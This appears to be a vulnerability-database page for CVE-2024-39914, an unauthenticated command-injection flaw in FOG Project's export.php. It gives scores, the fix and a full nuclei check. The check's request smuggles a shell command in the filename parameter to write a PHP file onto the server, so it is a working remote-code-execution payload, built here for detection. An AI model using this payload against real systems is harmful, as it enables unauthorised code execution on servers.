Browse / CVEs / CVE-2024-39914
CVE-2024-39914· fogproject / fogproject· CWE-77
FOG Project < 1.5.10.34 - Remote Command Execution
criticalseverity
9.8CVSS score
23.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.
Impact
Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.
Fix
Update FOG Project to version 1.5.10.34 or later.
How to confirm it
Send: POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf
Positive when: contains_all(body,"No HTML files!","HTMLDOC") and contains(content_type, "application/pdf") and status_code == 200
Send: GET /management/{{filename}}.php
Positive when: contains(body,"{{md5(num)}}") and contains(content_type, "text/html") and status_code == 200Run it with nuclei: nuclei -id CVE-2024-39914 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2024-39914
info:
name: FOG Project < 1.5.10.34 - Remote Command Execution
author: s4e-io
severity: critical
description: |
FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.
impact: |
Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.
remediation: |
Update FOG Project to version 1.5.10.34 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-39914
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914
- https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
- https://blog.csdn.net/qq_39894062/article/details/140550009
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-39914
cwe-id: CWE-77
epss-score: 0.23237
epss-percentile: 0.97786
metadata:
vendor: fogproject
product: fogproject
fofa-query: icon_hash="-1952619005"
tags: cve,cve2024,rce,fog,vkev,vuln
variables:
filename: "{{to_lower(rand_text_alpha(12))}}"
num: "{{rand_int(1000, 9999)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
fogguiuser=fog&nojson=2
matchers:
- type: dsl
dsl:
- 'contains_all(body,"No HTML files!","HTMLDOC")'
- 'contains(content_type, "application/pdf")'
- "status_code == 200"
condition: and
internal: true
- raw:
- |
GET /management/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"{{md5(num)}}")'
- 'contains(content_type, "text/html")'
- "status_code == 200"
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2024-39914
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914
- https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
- https://blog.csdn.net/qq_39894062/article/details/140550009
Use this check only on systems you are authorised to test. Where the data comes from